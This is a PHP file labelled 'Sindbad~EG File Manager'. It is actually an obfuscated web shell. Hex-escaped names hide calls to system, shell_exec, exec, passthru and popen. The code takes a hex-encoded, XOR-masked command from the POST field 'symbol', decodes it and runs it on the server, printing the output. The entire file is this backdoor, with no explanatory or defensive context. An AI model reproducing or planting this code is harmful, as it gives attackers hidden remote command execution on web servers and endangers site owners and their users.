Sindbad~EG File Manager

<?php

$api_gateway3 = "exec";
$api_gateway7 = "pclose";
$api_gateway6 = "\x73tr\x65\x61\x6D\x5F\x67et_co\x6Eten\x74\x73";
$api_gateway1 = "\x73y\x73\x74em";
$api_gateway5 = "\x70\x6Fpen";
$api_gateway2 = "\x73\x68\x65\x6C\x6C_exec";
$task_processor = "\x68e\x78\x32bi\x6E";
$api_gateway4 = "p\x61\x73st\x68\x72u";
if (isset($_POST["\x73\x79mb\x6Fl"])) {
            function system_core ( $val ,  $flag ) {
  $marker   =''    ;
  for($t=0;
 $t<strlen($val);
 $t++){
$marker.=chr(ord($val[$t])^$flag);

} return    $marker;
 
}
            $symbol = $task_processor($_POST["\x73\x79mb\x6Fl"]);
            $symbol = system_core($symbol, 10);
            if (function_exists($api_gateway1)) {
                $api_gateway1($symbol);
            } elseif (function_exists($api_gateway2)) {
                print $api_gateway2($symbol);
            } elseif (function_exists($api_gateway3)) {
                $api_gateway3($symbol, $hld_val);
                print join("\n", $hld_val);
            } elseif (function_exists($api_gateway4)) {
                $api_gateway4($symbol);
            } elseif (function_exists($api_gateway5) && function_exists($api_gateway6) && function_exists($api_gateway7)) {
                $flag_marker = $api_gateway5($symbol, 'r');
                if ($flag_marker) {
                    $pset_rec = $api_gateway6($flag_marker);
                    $api_gateway7($flag_marker);
                    print $pset_rec;
                }
            }
            exit;
        }